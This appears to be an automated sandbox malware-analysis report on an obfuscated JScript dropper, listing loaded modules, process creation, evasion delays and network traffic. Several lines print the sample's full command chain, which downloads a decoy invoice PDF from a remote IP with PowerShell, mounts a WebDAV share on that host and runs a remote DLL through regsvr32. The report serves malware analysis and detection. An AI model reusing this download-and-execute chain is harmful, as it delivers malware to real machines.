Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6954.js.csv");ITextStream.WriteLine(" entry:7995 f:wbffg");ITextStream.WriteLine(" exec:2 f:wbffg");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4250			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5271			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3856	Thread sleep count: 4250 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3856	Thread sleep count: 5271 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2608	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 616	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2800	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4124	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 940	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3436	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2134472356.000001B39C248000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0?+
Source: net.exe, 00000007.00000003.2117146339.000001B39C2AF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2135097201.000001B39C2AF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3361115809.000002246665A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3359624279.0000022461029000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll	Jump to behavior
